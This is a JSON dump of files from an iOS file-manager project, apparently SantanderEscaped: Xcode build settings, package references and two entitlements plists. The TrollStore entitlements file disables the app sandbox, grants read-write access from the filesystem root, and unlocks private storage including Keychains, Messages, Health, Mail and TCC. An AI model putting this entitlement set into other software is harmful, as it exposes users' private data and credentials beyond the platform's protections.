YES;\n\t\t\t\tINFOPLIST_KEY_NSAppleMusicUsageDescription = \"Required to browse and edit files.\";\n\t\t\t\tINFOPLIST_KEY_NSPhotoLibraryAddUsageDescription = \"To save the selected image to the camera roll.\";\n\t\t\t\tINFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES;\n\t\t\t\tINFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen;\n\t\t\t\tINFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = \"UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight\";\n\t\t\t\tINFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = \"UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight\";\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 14.0;\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = (\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t\t\"@executable_path/Frameworks\",\n\t\t\t\t);\n\t\t\t\tMARKETING_VERSION = 1.0;\n\t\t\t\tOTHER_LDFLAGS = (\n\t\t\t\t\t\"-framework\",\n\t\t\t\t\tIOKit,\n\t\t\t\t);\n\t\t\t\tOTHER_SWIFT_FLAGS = \"\";\n\t\t\t\tPRODUCT_BUNDLE_IDENTIFIER = org.haxi0.santanderescaped;\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tSWIFT_EMIT_LOC_STRINGS = YES;\n\t\t\t\tSWIFT_INCLUDE_PATHS = \"$(SRCROOT)/Santander/Other/External/**\";\n\t\t\t\tSWIFT_OBJC_BRIDGING_HEADER = Santander/Other/SantanderHeader.h;\n\t\t\t\tSWIFT_OPTIMIZATION_LEVEL = \"-Onone\";\n\t\t\t\tSWIFT_VERSION = 5.0;\n\t\t\t\tTARGETED_DEVICE_FAMILY = \"1,2\";\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\t3789B5F228622B7C00058688 /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;\n\t\t\t\tASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCODE_SIGN_STYLE = Automatic;\n\t\t\t\tCURRENT_PROJECT_VERSION = 1;\n\t\t\t\tDEVELOPMENT_TEAM = HD373A4P3H;\n\t\t\t\tFRAMEWORK_SEARCH_PATHS = \"$(inherited)\";\n\t\t\t\tGENERATE_INFOPLIST_FILE = YES;\n\t\t\t\tINFOPLIST_FILE = Santander/Info.plist;\n\t\t\t\tINFOPLIST_KEY_CFBundleDisplayName = SantanderEscaped;\n\t\t\t\tINFOPLIST_KEY_LSApplicationCategoryType = \"public.app-category.utilities\";\n\t\t\t\tINFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;\n\t\t\t\tINFOPLIST_KEY_NSAppleMusicUsageDescription = \"Required to browse and edit files.\";\n\t\t\t\tINFOPLIST_KEY_NSPhotoLibraryAddUsageDescription = \"To save the selected image to the camera roll.\";\n\t\t\t\tINFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES;\n\t\t\t\tINFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen;\n\t\t\t\tINFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = \"UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight\";\n\t\t\t\tINFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = \"UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight\";\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 14.0;\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = (\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t\t\"@executable_path/Frameworks\",\n\t\t\t\t);\n\t\t\t\tMARKETING_VERSION = 1.0;\n\t\t\t\tOTHER_LDFLAGS = (\n\t\t\t\t\t\"-framework\",\n\t\t\t\t\tIOKit,\n\t\t\t\t);\n\t\t\t\tOTHER_SWIFT_FLAGS = \"\";\n\t\t\t\tPRODUCT_BUNDLE_IDENTIFIER = org.haxi0.santanderescaped;\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tSWIFT_EMIT_LOC_STRINGS = YES;\n\t\t\t\tSWIFT_INCLUDE_PATHS = \"$(SRCROOT)/Santander/Other/External/**\";\n\t\t\t\tSWIFT_OBJC_BRIDGING_HEADER = Santander/Other/SantanderHeader.h;\n\t\t\t\tSWIFT_VERSION = 5.0;\n\t\t\t\tTARGETED_DEVICE_FAMILY = \"1,2\";\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n\t\tCEC433C528FF20B400C18BD8 /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tCLANG_CXX_LANGUAGE_STANDARD = \"gnu++20\";\n\t\t\t\tCODE_SIGN_STYLE = Automatic;\n\t\t\t\tDEVELOPMENT_TEAM = L9735M962H;\n\t\t\t\tDYLIB_COMPATIBILITY_VERSION = \"\";\n\t\t\t\tDYLIB_CURRENT_VERSION = \"\";\n\t\t\t\tEXECUTABLE_SUFFIX = \"\";\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 14.0;\n\t\t\t\tMACH_O_TYPE = mh_execute;\n\t\t\t\tOTHER_LDFLAGS = \"-ObjC\";\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tSKIP_INSTALL = YES;\n\t\t\t\tSWIFT_VERSION = 5.0;\n\t\t\t\tTARGETED_DEVICE_FAMILY = \"1,2\";\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\tCEC433C628FF20B400C18BD8 /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tCLANG_CXX_LANGUAGE_STANDARD = \"gnu++20\";\n\t\t\t\tCODE_SIGN_STYLE = Automatic;\n\t\t\t\tDEVELOPMENT_TEAM = L9735M962H;\n\t\t\t\tDYLIB_COMPATIBILITY_VERSION = \"\";\n\t\t\t\tDYLIB_CURRENT_VERSION = \"\";\n\t\t\t\tEXECUTABLE_SUFFIX = \"\";\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 14.0;\n\t\t\t\tMACH_O_TYPE = mh_execute;\n\t\t\t\tOTHER_LDFLAGS = \"-ObjC\";\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tSKIP_INSTALL = YES;\n\t\t\t\tSWIFT_VERSION = 5.0;\n\t\t\t\tTARGETED_DEVICE_FAMILY = \"1,2\";\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n/* End XCBuildConfiguration section */\n\n/* Begin XCConfigurationList section */\n\t\t3789B5D728622B7A00058688 /* Build configuration list for PBXProject \"Santander\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\t3789B5EE28622B7C00058688 /* Debug */,\n\t\t\t\t3789B5EF28622B7C00058688 /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n\t\t3789B5F028622B7C00058688 /* Build configuration list for PBXNativeTarget \"Santander\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\t3789B5F128622B7C00058688 /* Debug */,\n\t\t\t\t3789B5F228622B7C00058688 /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n\t\tCEC433C428FF20B400C18BD8 /* Build configuration list for PBXNativeTarget \"RootHelper\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\tCEC433C528FF20B400C18BD8 /* Debug */,\n\t\t\t\tCEC433C628FF20B400C18BD8 /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n/* End XCConfigurationList section */\n\n/* Begin XCRemoteSwiftPackageReference section */\n\t\tCE2D13D6291D8EE50023F16D /* XCRemoteSwiftPackageReference \"swift-argument-parser\" */ = {\n\t\t\tisa = XCRemoteSwiftPackageReference;\n\t\t\trepositoryURL = \"https://github.com/apple/swift-argument-parser.git\";\n\t\t\trequirement = {\n\t\t\t\tkind = upToNextMajorVersion;\n\t\t\t\tminimumVersion = 1.0.0;\n\t\t\t};\n\t\t};\n\t\tCEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference \"SantanderWrappers\" */ = {\n\t\t\tisa = XCRemoteSwiftPackageReference;\n\t\t\trepositoryURL = \"https://github.com/SerenaKit/SantanderWrappers\";\n\t\t\trequirement = {\n\t\t\t\tbranch = main;\n\t\t\t\tkind = branch;\n\t\t\t};\n\t\t};\n\t\tCED78C4628FDEC610097D2C5 /* XCRemoteSwiftPackageReference \"SantanderWrappers\" */ = {\n\t\t\tisa = XCRemoteSwiftPackageReference;\n\t\t\trepositoryURL = \"https://github.com/SerenaKit/SantanderWrappers\";\n\t\t\trequirement = {\n\t\t\t\tbranch = main;\n\t\t\t\tkind = branch;\n\t\t\t};\n\t\t};\n\t\tCEDAF41E28C36B2900DF03E6 /* XCRemoteSwiftPackageReference \"Runestone\" */ = {\n\t\t\tisa = XCRemoteSwiftPackageReference;\n\t\t\trepositoryURL = \"https://github.com/simonbs/Runestone\";\n\t\t\trequirement = {\n\t\t\t\tkind = upToNextMajorVersion;\n\t\t\t\tminimumVersion = 0.2.1;\n\t\t\t};\n\t\t};\n/* End XCRemoteSwiftPackageReference section */\n\n/* Begin XCSwiftPackageProductDependency section */\n\t\tCE2D13D7291D8EE50023F16D /* ArgumentParser */ = {\n\t\t\tisa = XCSwiftPackageProductDependency;\n\t\t\tpackage = CE2D13D6291D8EE50023F16D /* XCRemoteSwiftPackageReference \"swift-argument-parser\" */;\n\t\t\tproductName = ArgumentParser;\n\t\t};\n\t\tCE2D13D9291D8F210023F16D /* FSOperations */ = {\n\t\t\tisa = XCSwiftPackageProductDependency;\n\t\t\tpackage = CEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference \"SantanderWrappers\" */;\n\t\t\tproductName = FSOperations;\n\t\t};\n\t\tCE2D13DD291D8F8A0023F16D /* ArgumentParser */ = {\n\t\t\tisa = XCSwiftPackageProductDependency;\n\t\t\tpackage = CE2D13D6291D8EE50023F16D /* XCRemoteSwiftPackageReference \"swift-argument-parser\" */;\n\t\t\tproductName = ArgumentParser;\n\t\t};\n\t\tCE7E02C428FFF44E0046A7D4 /* FSOperations */ = {\n\t\t\tisa = XCSwiftPackageProductDependency;\n\t\t\tpackage = CED78C4628FDEC610097D2C5 /* XCRemoteSwiftPackageReference \"SantanderWrappers\" */;\n\t\t\tproductName = FSOperations;\n\t\t};\n\t\tCE7E02D628FFF8020046A7D4 /* AssetCatalogWrapper */ = {\n\t\t\tisa = XCSwiftPackageProductDependency;\n\t\t\tpackage = CED78C4628FDEC610097D2C5 /* XCRemoteSwiftPackageReference \"SantanderWrappers\" */;\n\t\t\tproductName = AssetCatalogWrapper;\n\t\t};\n\t\tCEA33B36291619EB00DD7BAC /* ApplicationsWrapper */ = {\n\t\t\tisa = XCSwiftPackageProductDependency;\n\t\t\tpackage = CEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference \"SantanderWrappers\" */;\n\t\t\tproductName = ApplicationsWrapper;\n\t\t};\n\t\tCEA33B38291619EB00DD7BAC /* AssetCatalogWrapper */ = {\n\t\t\tisa = XCSwiftPackageProductDependency;\n\t\t\tpackage = CEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference \"SantanderWrappers\" */;\n\t\t\tproductName = AssetCatalogWrapper;\n\t\t};\n\t\tCEA33B3A291619EB00DD7BAC /* CompressionWrapper */ = {\n\t\t\tisa = XCSwiftPackageProductDependency;\n\t\t\tpackage = CEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference \"SantanderWrappers\" */;\n\t\t\tproductName = CompressionWrapper;\n\t\t};\n\t\tCEA33B3E291619EB00DD7BAC /* FSOperations */ = {\n\t\t\tisa = XCSwiftPackageProductDependency;\n\t\t\tpackage = CEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference \"SantanderWrappers\" */;\n\t\t\tproductName = FSOperations;\n\t\t};\n\t\tCEA33B40291619EB00DD7BAC /* NSTask */ = {\n\t\t\tisa = XCSwiftPackageProductDependency;\n\t\t\tpackage = CEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference \"SantanderWrappers\" */;\n\t\t\tproductName = NSTask;\n\t\t};\n\t\tCEDAF41F28C36B2900DF03E6 /* Runestone */ = {\n\t\t\tisa = XCSwiftPackageProductDependency;\n\t\t\tpackage = CEDAF41E28C36B2900DF03E6 /* XCRemoteSwiftPackageReference \"Runestone\" */;\n\t\t\tproductName = Runestone;\n\t\t};\n\t\tCEE06A36291E1E0A00DA8C75 /* CompressionWrapper */ = {\n\t\t\tisa = XCSwiftPackageProductDependency;\n\t\t\tpackage = CEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference \"SantanderWrappers\" */;\n\t\t\tproductName = CompressionWrapper;\n\t\t};\n\t\tCEE9B2D729C4590E00D6C826 /* ApplicationsWrapper */ = {\n\t\t\tisa = XCSwiftPackageProductDependency;\n\t\t\tpackage = CEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference \"SantanderWrappers\" */;\n\t\t\tproductName = ApplicationsWrapper;\n\t\t};\n\t\tCEE9B2DB29C4592700D6C826 /* NSTask */ = {\n\t\t\tisa = XCSwiftPackageProductDependency;\n\t\t\tpackage = CEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference \"SantanderWrappers\" */;\n\t\t\tproductName = NSTask;\n\t\t};\n/* End XCSwiftPackageProductDependency section */\n\t};\n\trootObject = 3789B5D428622B7A00058688 /* Project object */;\n}\n"
  },
  {
    "path": "entitlements-TS.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n    <key>platform-application</key>\n    <true/>\n    <key>get-task-allow</key>\n    <true/>\n    <key>com.apple.private.security.container-required</key>\n    <false/>\n    <key>com.apple.security.exception.files.absolute-path.read-write</key>\n    <array>\n        <string>/</string>\n    </array>\n    <key>com.apple.private.security.no-container</key>\n    <true/>\n    <key>com.apple.security.app-sandbox</key>\n    <false/>\n    <key>com.apple.security.iokit-user-client-class</key>\n    <array>\n        <string>IOUserClient</string>\n    </array>\n    <key>com.apple.private.mobileinstall.allowedSPI</key>\n    <array>\n        <string>Uninstall</string>\n        <string>UninstallForLaunchServices</string>\n        <string>Lookup</string>\n    </array>\n    <key>com.apple.private.persona-mgmt</key>\n    <true/>\n\n\t<key>com.apple.private.security.system-application</key>\n\t<true/>\n\t<key>com.apple.private.security.container-manager</key>\n\t<true/>\n    <key>com.apple.private.MobileContainerManager.allowed</key>\n\t<true/>\n\n    <key>com.apple.private.security.storage.adprivacyd</key>\n    <true/>\n    <key>com.apple.private.security.storage.amfid</key>\n    <true/>\n    <key>com.apple.private.security.storage.AppBundles</key>\n    <true/>\n    <key>com.apple.private.security.storage.AppDataContainers</key>\n    <true/>\n    <key>com.apple.private.security.storage.automation-mode</key>\n    <true/>\n    <key>com.apple.private.security.storage.Biome</key>\n    <true/>\n    <key>com.apple.private.security.storage.Calendar</key>\n    <true/>\n    <key>com.apple.private.security.storage.CallHistory</key>\n    <true/>\n    <key>com.apple.private.security.storage.CarrierBundles</key>\n    <true/>\n    <key>com.apple.private.security.storage.chronod</key>\n    <true/>\n    <key>com.apple.private.security.storage.CloudDocsDB</key>\n    <true/>\n    <key>com.apple.private.security.storage.CloudKit</key>\n    <true/>\n    <key>com.apple.private.security.storage.containers</key>\n    <true/>\n    <key>com.apple.private.security.storage.CoreFollowUp</key>\n    <true/>\n    <key>com.apple.private.security.storage.CoreKnowledge</key>\n    <true/>\n    <key>com.apple.private.security.storage.Cryptex</key>\n    <true/>\n    <key>com.apple.private.security.storage.demo_backup</key>\n    <true/>\n    <key>com.apple.private.security.storage.DocumentRevisions</key>\n    <true/>\n    <key>com.apple.private.security.storage.DumpPanic</key>\n    <true/>\n    <key>com.apple.private.security.storage.ExposureNotification</key>\n    <true/>\n    <key>com.apple.private.security.storage.FaceTime</key>\n    <true/>\n    <key>com.apple.private.security.storage.familycircled</key>\n    <true/>\n    <key>com.apple.private.security.storage.FindMy</key>\n    <true/>\n    <key>com.apple.private.security.storage.fpsd</key>\n    <true/>\n    <key>com.apple.private.security.storage.Health</key>\n    <true/>\n    <key>com.apple.private.security.storage.HomeAI</key>\n    <true/>\n    <key>com.apple.private.security.storage.HomeKit</key>\n    <true/>\n    <key>com.apple.private.security.storage.iCloudDrive</key>\n    <true/>\n    <key>com.apple.private.security.storage.idcredd</key>\n    <true/>\n    <key>com.apple.private.security.storage.IdentityServices</key>\n    <true/>\n    <key>com.apple.private.security.storage.kbd</key>\n    <true/>\n    <key>com.apple.private.security.storage.Keychains</key>\n    <true/>\n    <key>com.apple.private.security.storage.Lockdown</key>\n    <true/>\n    <key>com.apple.private.security.storage.Mail</key>\n    <true/>\n    <key>com.apple.private.security.storage.Messages</key>\n    <true/>\n    <key>com.apple.private.security.storage.MessagesMetaData</key>\n    <true/>\n    <key>com.apple.private.security.storage.MobileContainerManager</key>\n    <true/>\n    <key>com.apple.private.security.storage.MobileDocuments</key>\n    <true/>\n    <key>com.apple.private.security.storage.MobileIdentityService</key>\n    <true/>\n    <key>com.apple.private.security.storage.mobilesync</key>\n    <true/>\n    <key>com.apple.private.security.storage.multimodalsearchd</key>\n    <true/>\n    <key>com.apple.private.security.storage.NanoTimeKit.FaceSupport</key>\n    <true/>\n    <key>com.apple.private.security.storage.News</key>\n    <true/>\n    <key>com.apple.private.security.storage.Notes</key>\n    <true/>\n    <key>com.apple.private.security.storage.Photos</key>\n    <true/>\n    <key>com.apple.private.security.storage.PhotosLibraries</key>\n    <true/>\n    <key>com.apple.private.security.storage.pipelined</key>\n    <true/>\n    <key>com.apple.private.security.storage.preferences</key>\n    <true/>\n    <key>com.apple.private.security.storage.PrivacyAccounting</key>\n    <true/>\n    <key>com.apple.private.security.storage.Safari</key>\n    <true/>\n    <key>com.apple.private.security.storage.SearchParty</key>\n    <true/>\n    <key>com.apple.private.security.storage.SecureElementService</key>\n    <true/>\n    <key>com.apple.private.security.storage.SensorKit</key>\n    <true/>\n    <key>com.apple.private.security.storage.SFAnalytics</key>\n    <true/>\n    <key>com.apple.private.security.storage.SiriInference</key>\n    <true/>\n    <key>com.apple.private.security.storage.SiriReferenceResolution</key>\n    <true/>\n    <key>com.apple.private.security.storage.SiriVocabulary</key>\n    <true/>\n    <key>com.apple.private.security.storage.SoC</key>\n    <true/>\n    <key>com.apple.private.security.storage.SpeechPersonalizedLM</key>\n    <true/>\n    <key>com.apple.private.security.storage.Spotlight</key>\n    <true/>\n    <key>com.apple.private.security.storage.StatusKit</key>\n    <true/>\n    <key>com.apple.private.security.storage.Stocks</key>\n    <true/>\n    <key>com.apple.private.security.storage.Suggestions</key>\n    <true/>\n    <key>com.apple.private.security.storage.SymptomFramework</key>\n    <true/>\n    <key>com.apple.private.security.storage.sysdagnose.ScreenshotServicesService</key>\n    <true/>\n    <key>com.apple.private.security.storage.TCC</key>\n    <true/>\n    <key>com.apple.private.security.storage.TimeMachine</key>\n    <true/>\n    <key>com.apple.private.security.storage.triald</key>\n    <true/>\n    <key>com.apple.private.security.storage.trustd</key>\n    <true/>\n    <key>com.apple.private.security.storage.trustd-private</key>\n    <true/>\n    <key>com.apple.private.security.storage.universalaccess</key>\n    <true/>\n    <key>com.apple.private.security.storage.Voicemail</key>\n    <true/>\n    <key>com.apple.private.security.storage.Wireless</key>\n    <true/>\n    <key>com.apple.private.security.disk-device-access</key>\n    <true/>\n    <key>com.apple.rootless.storage.ane_model_cache</key>\n    <true/>\n    <key>com.apple.rootless.storage.apfs_boot_mount</key>\n    <true/>\n    <key>com.apple.rootless.storage.clientScripter</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.mediaanalysisd</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.CarPlayAppBlacklist</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.DeviceCheck</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.DictionaryServices.dictionary2</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.DuetExpertCenterAsset</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.EmbeddedNL</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.Font5</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.Font6</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.HealthKt.FeatureAvailability</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.HomeKit</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.MacinTalkVoiceAssets</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.MailDynamicData</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.MXLongFormVideoApps</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.network.networknomicon</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.PKITrustSupplementals</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.SharingDeviceAssets</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.SiriShortcutsMobileAsset</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.TimeZoneUpdate</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.VoiceServices.CombinedVocalizerVoices</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.VoiceServices.CustomVoice</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.VoiceServices.GryphonVoice</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.VoiceServicesVocalizerVoice</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.VoiceServices.VoiceResources</key>\n    <true/>\n    <key>com.apple.rootless.storage.com.apple.MobileAsset.VoiceTriggerAssets</key>\n    <true/>\n    <key>com.apple.rootless.storage.CoreAnalytics</key>\n    <true/>\n    <key>com.apple.rootless.storage.coreduet_knowledge_store</key>\n    <true/>\n    <key>com.apple.rootless.storage.coreidvd</key>\n    <true/>\n    <key>com.apple.rootless.storage.coreknowledge</key>\n    <true/>\n    <key>com.apple.rootless.storage.CoreRoutine</key>\n    <true/>\n    <key>com.apple.rootless.storage.CoreSpeech</key>\n    <true/>\n    <key>com.apple.rootless.storage.dmd</key>\n    <true/>\n    <key>com.apple.rootless.storage.dprivacyd_storage</key>\n    <true/>\n    <key>com.apple.rootless.storage.ExtensibleSSO</key>\n    <true/>\n    <key>com.apple.rootless.storage.facekit</key>\n    <true/>\n    <key>com.apple.rootless.storage.fpsd</key>\n    <true/>\n    <key>com.apple.rootless.storage.MobileStorageMounter</key>\n    <true/>\n    <key>com.apple.rootless.storage.MusicApp</key>\n    <true/>\n    <key>com.apple.rootless.storage.nsurlsessiond</key>\n    <true/>\n    <key>com.apple.rootless.storage.pearl-field-diagnostics</key>\n    <true/>\n    <key>com.apple.rootless.storage.proactivepredictions</key>\n    <true/>\n    <key>com.apple.rootless.storage.QLThumbnailCache</key>\n    <true/>\n    <key>com.apple.rootless.storage.remotemanagementd</key>\n    <true/>\n    <key>com.apple.rootless.storage.RoleAccountStaging</key>\n    <true/>\n    <key>com.apple.rootless.storage.sensorkit</key>\n    <true/>\n    <key>com.apple.rootless.storage.shortcuts</key>\n    <true/>\n    <key>com.apple.rootless.storage.siriremembers</key>\n    <true/>\n    <key>com.apple.rootless.storage.timezone</key>\n    <true/>\n    <key>com.apple.rootless.storage.triald</key>\n    <true/>\n    <key>com.apple.rootless.storage.voiceshortcuts</key>\n    <true/>\n</dict>\n</plist>\n"
  },
  {
    "path": "entitlements.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n    <dict>\n        <key>platform-application</key>\n        <true/>\n        <key>com.apple.private.skip-library-validation</key>\n        <true/>\n        <key>com.apple.private.security.no-container</key>\n        <true/>\n        <key>com.apple.security.app-sandbox</key>\n        <false/>\n        <key>get-task-allow</key>\n        <true/>\n        <key>com.apple.security.iokit-user-client-class</key>\n        <array>\n            <string>IOUserClient</string>\n        </array>\n        \n        <key>com.apple.private.mobileinstall.allowedSPI</key>\n        <array>\n            <string>Uninstall</string>\n            <string>UninstallForLaunchServices</string>\n            <string>Lookup</string>\n        </array>\n    </dict>\n</plist>\n"
  }
]